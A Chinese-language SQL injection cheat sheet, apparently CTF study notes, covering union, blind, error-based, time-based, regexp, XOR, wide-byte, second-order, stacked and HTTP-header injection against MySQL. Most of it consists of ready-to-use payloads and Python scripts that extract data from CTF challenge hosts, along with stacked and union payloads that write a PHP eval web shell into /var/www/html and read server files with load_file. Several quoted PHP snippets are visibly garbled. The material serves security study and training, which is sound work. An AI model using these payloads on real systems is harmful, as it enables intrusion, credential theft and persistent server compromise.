# SQL 注入
# 一、注入分类
-
注入点分类
-
- 数字型注入
- 字符型注入:单引号,双引号,加括号等等
-
提交方式分类
-
GET 方式注入
-
POST 方式注入
-
COOKIE 方式注入
-
HTTP 头部注入:XFF,UA,REFRERE
-
是否回显
-
联合查询
-
布尔盲注
-
报错注入
-
时间盲注
-
二次注入
-
堆叠查询(同时执行多条语句)
# 二、注入判断
- 工具扫描:网站漏扫工具,AWVS、AppScan、OWASP-ZAP、Nessus 等
- 手动测试:
- 单双引号,括号,进行组合测试,看是否报错
- 对于数字型
?id=3-1
?id=2#
如果显示的是 ?id=2
时的正常页面,就说明我们所写的表达式进行了正确运算,可判断注入点是 数字型注入;如果返回不正常,则可能是非数字型注入。
- 对于字符型
?id=2a
?id=2'#
Mysql 中,等号两边如果类型不一致,会发生强制类型转换。当数字与字符串进行比较时,首先先将字符串转换成数字,然后再进行比较。类似于 PHP 里面的 弱类型比较 ==。
- 对于布尔盲注
?id=1' and '1
?id=1' and 'a
这里没有使用注释符号进行后面的单引号闭合,使用的是手工单引号闭合
或者,
?id=1' and 1=1#
?id=1' and 1=2#
两者的页面截然不同,一个正常回显,一个没有回显的话,就可判断是布尔盲注。
- 对于 时间盲注
?id=1' and sleep(3)#
,类似的有以下几种
在 MySQL 中,有一个 Benchmark () 函数,它是用于测试性能的。 Benchmark (count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。
因此,利用 benchmark 函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为 Timing Attack,也就是时间盲注。
MySQL | benchmark(100000000,md(5)) sleep(3) | |
---|---|---|
PostgreSQL | PG_sleep(5) Generate_series(1,1000000) | |
SQLServer | waitfor delay ‘0:0:5’ |
-
常见 SQL 注入功能点
只要是存在数据库交互的地方都有可能出现 SQL 注入。
常出现在 登录页面、订单页面、文章或新闻展示页面、修改密码页面(二次注入)、涉及获取 HTTP 头(XFF 等)的功能点等。
-
注释:–+ #(%23)
-
闭合方法:注释闭合、手动闭合 and '1
# 三、Mysql 注入
# 3.1 必备
注释:
# (%23)
--
/*......*/
/*!......*/
元数据库 information_schema
元数据库 information_schema 中:
存放数据库信息的表:schemata
schemata 表中
字段 schema_name 存放所有数据库名;
存放表信息的表:tables
tables 表中
字段 table_name 存放所有表名
字段 table_schema 存放所有表所在的数据库名;
存放所有字段信息的表:columns
columns 表中
字段 column_name 存放所有字段名,
字段 table_name 存放所有字段所在的表名,
字段 table_schema 存放所有字段所在的数据库名;
information_schema 数据库中 tables 表中的内容:
infomation_schema 数据库 columns 表中的内容:
语句分类:
1.DQL(数据查询语言):查询语句,所有的 select 语句
2.DML(数据操作语言):insert , delete , update , 对表中的 数据 进行 增删改
3.DDL(数据定义语言):create , drop , alter 对表 结构 的 增删改
4.TCL(事务控制语言):commit 提交数据,rollback 回滚数据 Transaction
5.DCL(数据控制语言):grant 授权,revoke 撤销权限等
基本语句:
# 查库:
show databases;
select schema_name from information_schema.schemata;
# 建库:
create database + 库名;
# 删库:
drop database + 库名;
# 进入数据库:
use + 库名;
# 查表:
show tables;
select table_name from information_schema.tables where table_schema='security';
select table_name from information_schema.tables where table_schema=database();
# 查列:
select * from users;
select column_name from information_schema.columns where table_name='users';
# 查字段:
select username,password from security.users;
基本函数
#数据库安装、路径,用户 信息
version(); Mysql 数据库版本
database(); 当前 数据库名
user(); 数据库的用户名
current_user(); 当前用户名
session_user(); 连接到数据库的用户名
system_user(); 系统用户名
@@datadir(); 数据库文件的存放路径
@@version_compile_os; 操作系统版本
@@basedir; 数据库的安装目录
#字符串长度、截取
length(); 返回字符串的长度
substring(a,b,c); 截取字符串
substr(a,b,c);
mid(a,b,c);
三个参数:a.截取的字符串 b.截取的起始位置 c.长度
left(a,b); 从左侧截取a的前b位,正确返回1,错误返回0
#字符串配对连接
concat(a,0x5e,b); 字符串配对连接
concat_ws('~',A,B); 含有分隔符的连接字符串
group_concat(); 将字符串连接为一个组,可将不同列分到同一行中
#字符串特殊处理
ord(); 返回ASCII码
ascii('a'); 将字母 a 转换为ascii值
rand(); 返回0~1之间的随机浮点数
round(); 返回最近的整数值
md5(); 返回MD5值
hex(); 将字符串转换为十六进制
unhex(); hex()的反向操作
floor(x); 返回不大于x的最大整数
load_file(); 读取文件,返回文件内容作为一个字符串
sleep(a); 沉睡a秒
if(true,t,f); 判断语句为true ,执行第一个,否则第二个
find_in_set(); 返回字符串在字符串列表中的位置
benchmark(); 指定语句执行的次数
name_const(); 返回表作为结果
导入数据:
当希望导入一个 较大 的文件或者是想要批量的执行sql语句时,可以使用 mysql 中的 source 命令
使用方法:source + 文件路径(直接拖拽)
# 3.2 语句
# insert
insert into 表名(字段名1,字段名2,字段名3......) values(值1,值2,值3......);
# delete
delete from 表名 where 条件;//可回滚
对于大表:
truncate table 表名;//不可回滚,将会永久丢失
# update
update 表名 set 字段名1=值1,字段名2=值2,......where 条件;
# select
select 字段1,字段2,...... from + 表名 where + 条件;
# between and
select * from users where id between 2 and 8;
select * from users where id >=2 and id <=8;
# in not in
select password from users where id not in(5,8);
指查找出 id不等于5 和 id不等于8 的用户的密码
注:不是 5~8,in之后不是一个区间
# like
1.% 代表任意多个字符
2._ 代表任意一个字符
select username from users where username like '%b%';
指查找出用户名中带有字母b的用户名
select username from users where username like '_a%';
指查找出用户名中带第二个字母为a的用户名
select username from users where username like '%b';
指查找出用户名中带最后一个字母为b的用户名
select username from users where username like '%\_%';
指查找出用户名中带有下划线_的用户名
注:特殊字符需要转义
# order by
select username from users order by 字段名;
注:默认为升序排列
指定升序:asc
select username from users order by 字段名 asc;
指定降序:desc
select username from users order by 字段名 desc;
双重需求:
select username from users order by 字段名1 desc,字段名2 asc;
# 分组函数
select sum(grade) from users;
select avg(grade) from users;
select max(grade) from users;
select min(grade) from users;
# 空处理函数
select sum(ifnull(salary,0)*12), from crew;
求一年的薪水之和,当薪水为NULL时,被当作0来处理
# count(*) 与 count
count(*) :统计总记录条数,而不是统计某个字段中的数据,与字段无关
count(具体的某个字段):统计具体字段中不为NULL的总数
1.字符串数据 sum,avg 为 0,max,min 按字母大小取
2.分组函数会自动忽略 NULL
3.数学运算 中如果有NULL参与,结果为定为NULL
4.分组函数不能直接出现在 where 后面,原因是 group by 是在where语句执行结束之后执行的
5.分组函数可组合使用
# group by 与 having
group by:按照某个字段或某些字段进行分组
having:对分组之后的数据进行再次过滤,即having 必须跟在 group by 后面使用
select max(grade) from students group by classes;
先根据班级分组,再查出各个班级的成绩最高学生的成绩
1.分组函数一般与 group by 联合使用,并且任何一个分组函数(count,sum,avg,max,min)都是在 group by 语句执行结束后才会执行
2.当一条sql语句没有 group by 时,整张表会自成一组
3.当sql语句中使用group by时,select之后只能跟参与分组的字段或者分组函数
注:实际上在 mysql 中,可以使用并且执行,但毫无意义;而由于 Oracle 比 Mysql 要更加严格,在 Oracle 中是绝对严格不能使用的。
# distinct 去重
distinct 关键字 去除重复记录
select distinct job from company;
查询该公司中的工作岗位
# 语句执行顺序
select 5号:挑选出满足条件的数据
from 1号:定表
where 2号:过滤原始数据
group by 3号:进行分组
having 4号:对数据进行再次过滤
order by 6号:进行排序
# inner join
select a.ename,b.dname from emp a join dept b on a.deptno=b.deptno;
# left/right join
select dname,ename from dept a left join emp b on a.deptno=b.deptno;
or 语句
当前面语句不符合情况或者出现错误时执行 or 后面的内容
、
# 四、union 联合注入 (单引号闭合字符型为例)
注入判断
?id=1'
?id=1'#
order by 查列
?id=1' order by x--+
?id=1' order by x#->常用%23代替
# 其中x输入数字代表哪一列,使用二分法缩小范围,x之后是两个减号与加号,代表注释
判断回显位置,三列为例
?id=-1' union select 1,2,3--+
?id=0' union select 1,2,3--+
?id=1' and 1=2 union select 1,2,3--+
# 前面是为了否定 id=1 时的回显,防止人家的 sql 语句只 limit 0,1
# 这样就无法查看到我们想要的信息
回显位置注入 sql 语句
?id=-1' union select 1,(select database()),3--+
查库
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
查某一个库中的表
注意:仅仅是查当前数据库 database () 的表,由于处于当前数据库下,是不能查看其它数据库中数据的
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
查列
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),3--+
查内容, ~
连接
?id=-1' union select 1,(select group_concat(concat_ws('~',username,password))from security.users),3--+ | |
# 同时查三列数据的话 | |
?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users# |
# 五、Boolean 盲注
# 5.1 手动:结合 Burp 爆破进行
查数据库长度
?id=1' and length(database())=1--+
# 爆破数字 1
判断库名组成 security
?id=1' and left(database(),1)='a'--+
# 爆破字母 a
?id=1' and ascii(substr(database(),1,1))='b'--+
# 爆破 ascii 值 b
查表 users
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit a,1),1,1)) ='b'--+
# 同时爆破数字a,和 数字b,其中 b 是 ascii 值
查列 username password
?id=1' and ascii(substr((select column_name from information_schema.tables where table_schema='security' and table_name='users' limit a,1),1,1)) = 'b'--+
# 同时爆破数字a,和 数字b,其中 b 是 ascii 值
查内容
?id=1' and ascii(substr((select username from security.users limit a,1),1,1))='b'--+
# 爆破 ascii 值 b
?id=1' and ascii(substr((select password from security.users limit 0,1),1,1))='b'--+
# 爆破 ascii 值 b
# 5.2 脚本
直接法:(较慢,正确率高)
import requests | |
url = "http://ba63d0df-d99d-4cba-a692-5027868780b6.challenge.ctf.show:8080/api/" # 对存在注入的页面发送请求 | |
b="{zxcvbnmasdfghjklqwertyuiop-1234567890}_" # 字典库,包含小写字母数字 - 下划线}{}, 也可以直接用 ascii 码代替,在用 chr 转换 | |
flag = '' | |
for i in range (1,50): | |
for h in b: | |
# payload 根据题目环境构造有效 payload | |
payload = "' or if((mid((select group_concat(f1ag) from ctfshow_flxg),{},1)='{}'),1,0) -- ".format(i,h) #根据 or 语句获得 or 1 和 or 0,从而区分不同的结果,得到不同的页面,页面会显示在我们请求后返回的结果中, | |
#payload = "' or if((mid((select database()),{},1)='{}'),1,0) -- ".format(i,h) | |
#payload = "' or if((mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{},1)='{}'),1,0) -- ".format(i,h) | |
#payload = "' or if((mid((select+group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}'),1,0) -- -".format(i,h) | |
#print(payload) | |
data = { | |
"username":payload, # 注入点 | |
"password":1 | |
} | |
s=requests.post(url,data=data) #发送 post 请求 | |
#print(s.text) | |
if "\\u5bc6\\u7801\\u9519\\u8bef" in s.text: # 根据不同回显,找到有效的回显,s.text 是返回的文本内容 | |
flag+=h #对于正确情况保留字符串 | |
print('flag is {}'.format(flag)) | |
break | |
if flag[-1] == "}":# 找到完整的 flag | |
print("flag :"+flag) | |
break |
二分法:
import requests | |
url = "http://ecaca1c3-ce93-4f20-82b6-ea325d85e6c3.node4.buuoj.cn:81/search.php" | |
i = 0 | |
flag = '' | |
while True: | |
i+=1 | |
header = 32 | |
tail = 128 | |
while header<tail: | |
mid = (header+tail)>>1 | |
data = { | |
'id':f"1^(ord(substr((select(group_concat(password))from(F1naI1y)),{i},1))>{mid})^1" | |
} | |
s=requests.get(url,params=data) | |
if 'Click' in s.text: | |
header = mid+1 # sql 语句正确的时候 | |
else: | |
tail = mid # sql 语句错误执行 | |
if header!=32: | |
flag+=chr(header) | |
print(flag) | |
else: | |
break |
# 六、五大报错注入
利用条件:页面回显 SQL 语句执行的错误信息,例如 mysql_error()
# floor()
id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
# extractvalue()
id = 1 and (extractvalue(1, concat(0x5c,(select user()))))
updatexml() 函数:
这个函数的第二个参数本应该是合法的 XPATH
路径,否则就会在引发报错的同时将传入的参数进行输出。我们利用这个特征,当题目存在回显时,将我们想的到的信息传入这个函数的第二个参数即可查询。
# updatexml()
id = 1 and (updatexml(0x3a,concat(1,(select user()),1)))
# exp()
id =1 and EXP(~(SELECT * from(select user())a))
适用于知道列名不知道表名的情况
# 六种函数 (使用方法相同)
GeometryCollection()
id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))
polygon()
id =1 AND polygon((select * from(select * from(select user())a)b))
multipoint()
id = 1 AND multipoint((select * from(select * from(select user())a)b))
multilinestring()
id = 1 AND multilinestring((select * from(select * from(select user())a)b))
linestring()
id = 1 AND LINESTRING((select * from(select * from(select user())a)b))
multipolygon()
id =1 AND multipolygon((select * from(select * from(select user())a)b))
# 七、文件读写
# 7.1 手动
写文件
?id=-1' union select 1,"<?php @eval(\$_POST[1]); ?>",3 into outfile "/var/www/html/1.php"--+
# 可将文件内容转换成十六进制
?id=-1' union select 1,0x3c3f70687020406576616c28245f504f53545b315d293b203f3e,3 into outfile "/var/www/html/1.php"--+
有回显时 读取文件
?id=-1' union select 1,2,load_file('/var/www/html/1.php')--+
# 文件路径 可使用 十六进制
?id=-1' union select 1,2,load_file(0x2f7661722f7777772f68746d6c2f312e706870)--+
无回显 盲注读取文件
?id=-1' and ascii(mid((select hex(load_file('/var/www/html/1.php'))),a,1))>b--+
# 同时爆破 数字 a 和 ascii 值 b
# 7.2 脚本
# 八、延时注入
# 8.1 手动:结合 Burp Respond
当页面上无回显,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都一样,可考虑延时注入。
?id=1' and sleep(3)--+
查库
?id=1' and if(length(database())=a,sleep(3),1)--+
# 爆破数字 a
?id=1' and if(ascii(substr(database(),a,1))=b,sleep(3),1)--+
# 同时爆破 数字 a 和 ascii 值 b
查表
?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),a,1))=b,sleep(3),1)--+
# 同时爆破 数字 a 和 ascii 值 b
查列
?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),a,1))=b,sleep(3),1)--+
# 同时爆破 数字 a 和 ascii 值 b
查字段
?id=1' and if(ascii(substr((select group_concat(username) from security.users),a,1))=b,sleep(3),1)--+
?id=1' and if(ascii(substr((select group_concat(password) from security.users),a,1))=b,sleep(3),1)--+
# 同时爆破 数字 a 和 ascii 值 b
# 8.2 脚本
import requests | |
from time import * | |
url = "http://7e84a93e-e72e-4fa2-947c-1464bdaf9211.challenge.ctf.show:8080/api/delete.php" | |
flag = '' | |
i=0 | |
while True: | |
i=i+1 | |
header = 32 # 定义 ascii 可见字符开始值 | |
tail = 127 # 定义最后的 ascii 值 | |
while header < tail: | |
mid = (header + tail) >> 1 #求出中间值 | |
payload = "right((select flag from ctfshow_web.flag),20)"# 构造的 sql 语句 | |
#payload = "select database()" #cvfshow_web | |
#payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" #banlist,ctfshow_user,flag | |
#payload = "select group_concat(column_name) from information_schema.columns where table_name='flag'" #id,flag,knfo""# | |
#print(payload) | |
data = { | |
# 利用 substr 函数截取查询结果后的字符转换成 ascii 码,如果大于中间值,睡 0.02 秒,不然就是 1 | |
'id': f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.02),1)",# 我们需要构建的 payload 语句,根据实际情况替换,类似上面,不一定必须要延时注入 | |
} | |
try: | |
s = requests.post(url, data=data, timeout=0.4)#根据正确执行的次数,设置超时的时间,如果正确执行 20 次那么就设置 20*0.02 秒的时间,由于字符串的情况时间难以把握,所以有出错的可能 | |
#print(s.text) | |
tail = mid #没有报错执行这句,说明 payload 语句没有正确执行,没有延时,根据上面的 > 我们需要把 tail = mid | |
except Exception as e: | |
header = mid + 1# 正确的情况,会延时 | |
sleep(0.4) | |
if header != 32: | |
flag+=chr(header) | |
else: | |
break | |
print(flag) | |
sleep(2) |
# 8.3 过滤 sleep 的盲注:
MySQL 有一个内置的 BENCHMARK () 函数,可以测试某些特定操作的执行速度。 参 数可以是需要执行的次数和表达式。 表达式可以是任何的标量表达式,比如返回值 是标量的子查询或者函数。 该函数可以很方便地测试某些特定操作的性能,比如通过测试可以发现,MDS () 函数比 SHAl () 函数要快:
对应的脚本:
import requests | |
url = "http://2e14a567-cf3b-49a8-9297-a6c19c2357db.challenge.ctf.show:8080/api/" | |
flag = '' | |
i=0 | |
while True: | |
i=i+1 | |
header = 32 | |
tail = 127 | |
while header < tail: | |
mid = (header + tail) >> 1 | |
payload = "select flagaabc from ctfshow_web.ctfshow_flagxccb" | |
#payload = "select database()" | |
#payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'" #id,flagaabc,info | |
#payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" #ctfshow_flagxccb,ctfshow_info | |
#print(payload) | |
data = { | |
'ip': f"1) or if(ascii(substr(({payload}),{i},1))>{mid},benchmark(3480500,sha(1)),1", | |
'debug': '0' | |
} | |
try: | |
s = requests.post(url, data=data, timeout=1) | |
#print(s.text) | |
tail = mid | |
except Exception as e: | |
header = mid + 1 | |
if header != 32: | |
flag+=chr(header) | |
else: | |
break | |
print(flag) |
# 九、regexp 正则匹配
测试
mysql> select * from users where username regexp 'b$';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.03 sec)
mysql> select * from users where username regexp 'd';
+----+----------+-----------+
| id | username | password |
+----+----------+-----------+
| 1 | Dumb | Dumb |
| 3 | Dummy | p@ssword |
| 5 | stupid | stupidity |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+-----------+
9 rows in set (0.00 sec)
mysql> select * from users where username regexp '^a';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 2 | Angelina | I-kill-you |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
+----+----------+------------+
6 rows in set (0.00 sec)
mysql> select * from users where username regexp 'admin[0-9]';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
+----+----------+----------+
4 rows in set (0.00 sec)
mysql> select * from users where username regexp '.n'; #.匹配任意字符
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 2 | Angelina | I-kill-you |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
9 rows in set (0.00 sec)
mysql> select * from users where username regexp 'a|b'; #含有 a 或 b 的
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
10 rows in set (0.00 sec)
# 9.1 手动
?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),a,1)regexp('b'),1,2)='1
# 同时爆破 数字 a 和 字母 b
# 9.2 脚本
import requests | |
import string | |
url = "http://xxxxx" | |
flagstr=" _{}-" + string.ascii_lowercase + string.digits | |
flag = '' | |
for i in range(1,45): | |
for j in flagstr: | |
#payload = f"admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1)regexp('{j}'),1,2)='1" | |
#payload = f"admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{i},1)regexp('{j}'),1,2)='1" | |
payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1)regexp('{j}'),1,2)='1" | |
data = { | |
'username': payload, | |
'password': '1' | |
} | |
r = requests.post(url, data=data) | |
if "密码错误" == r.json()['msg']: | |
flag += j | |
print(flag) | |
if "}" == j: | |
exit(0) | |
break |
# 十、异或注入
异或:一种逻辑运算,简言之,相同为假,不同为真,NULL 与任何条件异或结果都为 NULL,mysql 中的符号是 ^ 和 xor。
测试:
mysql> select 1=1 ^ 1=1 as res;
+-----+
| res |
+-----+
| 0 |
+-----+
1 row in set (0.00 sec)
mysql> select 1=1 xor 1=2 as res;
+-----+
| res |
+-----+
| 1 |
+-----+
1 row in set (0.00 sec)
mysql> select 1=2 xor 1=2 as res;
+-----+
| res |
+-----+
| 0 |
+-----+
1 row in set (0.00 sec)
mysql> select null xor 1=2 as res;
+------+
| res |
+------+
| NULL |
+------+
1 row in set (0.00 sec)
mysql> select null xor 1=1 as res;
+------+
| res |
+------+
| NULL |
+------+
1 row in set (0.00 sec)
mysql> select null xor null as res;
+------+
| res |
+------+
| NULL |
+------+
1 row in set (0.00 sec)
常用手段:用于判断 所过滤的字符串
?id=1'^(0)#
# 得到正常的回显页面,由于异或之后得到 真
?id=1'^(1)#
# 得到错误的回显页面,由于异或之后得到 假
常常用于判断我们所注入的某些字段是否被过滤
?id=1'^(length('union')>0)#
如果 union
已被过滤,那么得到的将会是 length(0>0)
,显然是不成立的,那就将会是 1'^0
,得到的为 真,所以将会返回 正常 的页面;
如果 union
没有被过滤,相反的,将会得到为假的异或,返回的将会是 错误 的页面。
由此可以判断某些字符的过滤情况。
常常使用:
?id=1'^(length('select')>0)#
?id=1'^(length('and')>0)#
?id=1'^(length('or')>0)#
符号特点:
^
运算符会做位异或运算
xor
做逻辑运算1 xor 0
会输出 1 ,其它情况输出其余所有数据
# 十一、宽字节注入
为了防止 SQL 注入漏洞,通常在源代码当中会对我们所输入的 SQL 查询语句进行一个 转义 ,一般是对 单引号,双引号 进行一个转义变成 ’ 或者是 ",这样 Mysql 在 执行 SQL 语句时,不会影响到查询,即不会出现报错,数据存储在数据库当中时不会含有 \ ,也就是说,它仅仅是在执行 SQL 语句时进行了转义,当我们从数据库中向外调出数据时并不会含有 \ ,也就预防了 SQL 注入。
如果我们不进行转义,按照一般 攻击者的思路进行 SQL 注入,都是通过?id=1’ 进行验证,如下图,如果没有进行任何防御,即没有进行转义操作,就会出现报错,也就很容易的验证出来了 的确存在 SQL 注入,并且容易看到注入方式。
常使用的 转义函数:
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
单引号(')
双引号(")
反斜杠(\)
NULL
mysql_real_escape_string() 函数: 转义 SQL 语句中使用的字符串中的特殊字符
下列字符受影响:
\x00
\n
\r
\
'
"
\x1a
addslashes()
# 解决方案:
- 网页连接数据库时,将字符编码设置为 GBK 编码集合,然后进行 SQL 语句的拼接,进行数据库的查询。
- GBK 编码采用 双字节编码,编码范围为 8140~FEFE
- 转义字符 的编码是
5c
,其在 GBK 的编码范围之内,如果我们在转义字符之前 提交一个同样在编码范围之内的字符,网页在解析时,就会将其与 后面的转义字符进行一个匹配,组成一个 双字节的 GBK 编码的汉字,从而失去了转义的作用。
方法一:在使用单引号 或者 双引号之前添加 % df 字符
方法二:在使用单引号 或者 双引号之前添加 % aa%5c 字符
- 解释:
例如: ?id=1%aa%5c'
其实是: ?id=1%aa\'
即: ?id=1%aa%\\\'
其中 \ 是 %5c; ' 是 %27
数据库中做了转义处理之后变成:%aa%5c%5c%5c%27
这样,%aa和%5c进行组合称为了一个汉字,%5c与%5c仍旧是 \\ ,而 %27(单引号) 就分离出来了
GBK 编码范围
# 十二、二次注入
根源在于:信任从数据库中取出的数据都是无害的。
原理:攻击者构造的恶意数据 存储在 数据库 后,恶意数据 被读取 并进入到 SQL 查询语句 所导致的注入。
防御者可能在用户 输入 恶意数据时对其中的特殊字符进行了 转义处理 ,但在恶意数据插入到数据库时被处理的数据又 被还原 并存储在数据库中,当 Web 程序 调用 存储在数据库中的恶意数据并执行 SQL 查询时,就发生了 SQL 二次注入。
也就是说在应用程序中输入恶意造的数据库查询语句时会被转义,但是在数据库内部调用读取语句的时候又被还原。
# 二次注入步骤:
# 第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了 转义处理,在写入数据库的时候又保留了原来的数据。
# 第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询即调用已存储在数据库中的数据时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
- 一般结合 修改密码 功能点 进行利用
# 举例:
- 已知用户登陆时的查询
login.php
查询防御:login.php
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='username′andpassword=′password'";
我们使用下面 用户登录
Dumb'
Dumb
则实际进行操作的语句成为
SELECT * FROM users WHERE username='Dumb\'' and password='Dumb'
由于进行了 mysql_real_escape_string
转义,则不会引发 sql 注入,从而成功进行了防御
- 已知注册用户时的插入
login_create.php
插入防御:login_create.php | |
$username= mysql_escape_string($_POST['username']) ; | |
$pass= mysql_escape_string($_POST['password']); | |
$re_pass= mysql_escape_string($_POST['re_password']); | |
$sql = "insert into users ( username, password) values(\\\\"$username\\\\", \\\\"$pass\\\\")"; |
我们 注册新的用户
Dumb'# | |
123456 | |
123456 |
同样对我们输入的数据进行了转义处理,则实际操作语句是
username 进行转义处理之后得到 Dumb\'#,代入,即
insert into users ( username, password) values(\"Dumb\'#\", \"123456\")
这样我们成功注册了一个新的用户
Dumb'#
123456
- 已知用户修改密码
pass_change.php
$username= $_SESSION["username"]; | |
$curr_pass= mysql_real_escape_string($_POST['current_password']); | |
$pass= mysql_real_escape_string($_POST['password']); | |
$re_pass= mysql_real_escape_string($_POST['re_password']); | |
$sql = "UPDATE users SET PASSWORD='′pass′whereusername=username' and password='$curr_pass' "; |
可以看到,此时的用户名没有进行转义防御就出现在了 sql 语句当中
- 我们以新注册的
Dumb'#
用户登录进去,利用修改密码的功能
Dumb'# | |
654321 | |
654321 |
代入 sql 语句中得到
UPDATE users SET PASSWORD='654321' where username='Dumb'#' and password='$curr_pass'
这样看来,我们实际上修改的是 用户名为 Dumb
的密码
- 这样我们就在只以知某一用户名,不知其密码的情况下,通过 二次注入 ,成功的可以登录其它用户的账号了
# 十三、堆叠注入
SQL 语句书写时,以 分号 ;
表示一条 SQL 语句结束,通过使用分号同时执行多条 SQL 语句 即为 堆叠注入
。该注入可修改数据库的任意结构和数据。
测试:
mysql> select * from users where id= 1;create table qwe like users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.04 sec)
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails |
| qwe |
| referers |
| uagents |
| users |
+--------------------+
5 rows in set (0.00 sec)
mysql> select * from users where id= 1;drop table qwe;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.01 sec)
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails |
| referers |
| uagents |
| users |
+--------------------+
4 rows in set (0.00 sec)
堆叠注入写一句话木马文件
a';select '<?php @eval($_POST[111]); ?>' into outfile '/var/www/html/hacker.php';--+
题例:[GYCTF2020] Blacklist1
1' order by 2#
1';show databases;#
1';show tables;
1';show columns from 表名;#
1'create table 新表名 like 已知表名;#
1';drop table 新表名;#
1';handler 表名 open;handler 表名 read first;#
# 十四、HTTP 头部注入
# 14.1 User-Agent 注入
源码:
$uagent = $_SERVER['HTTP_USER_AGENT']; | |
$IP = $_SERVER['REMOTE_ADDR']; | |
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('′uagent′,IP', $uname)"; |
当将 客户端可控的 $uagent
带入代入 $insert
sql 语句时,必须将紧随其后的 单引号先闭合
抓包,修改 User-Agent 值
User-Agent:a' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 | |
# 这样代进去即为 | |
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('a' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1', ',IP′uname)"; |
# 14.2 Referer 注入
源码:
$uagent = $_SERVER['HTTP_REFERER']; | |
$IP = $_SERVER['REMOTE_ADDR']; | |
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('′uagent′,IP')"; |
同样的道理:当将 客户端可控的 $uagent
带入代入 $insert
sql 语句时,必须将紧随其后的 单引号先闭合
抓包,修改 Referer 值
Referer:a' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 | |
# 这样代进去即为 | |
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('a' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1', '$IP')"; |
# 14.3 Cookie 注入
如今绝大部门开发人员在开发过程中会对用户传入的参数进行适当的过滤,但是很多时候,由于个人对安全技术了解的不同,有些开发人员只会对 get,post 这种方式提交的数据进行参数过滤。
但我们知道,很多时候,提交数据并非仅仅只有 get /post 这两种方式,还有一种经常被用到的方式:request (“xxx”), 即 request 方法。通过这种方法一样可以从用户提交的参数中获取参数值。
这就造成了 cookie 注入的最基本条件:使用了 request 方法,但是只对用户 get /post 提交的数据进行过滤。
例如: www.xx.com/search.asp?id=1
访问: www.xx.com/srarch.asp
发现不能访问,说缺少 id 参数。
我们试着将 id=1 放在 cookie 中再次访问,查看能否访问,如果能访问,则说明 id 参数可以通过 cookie 提交。
那么,如果后端没有对 cookie 中传入的数据进行过滤,那么,这个网站就有可能存在 cookie 注入了!
$cookee = $username; | |
$cookee = $_COOKIE['uname']; | |
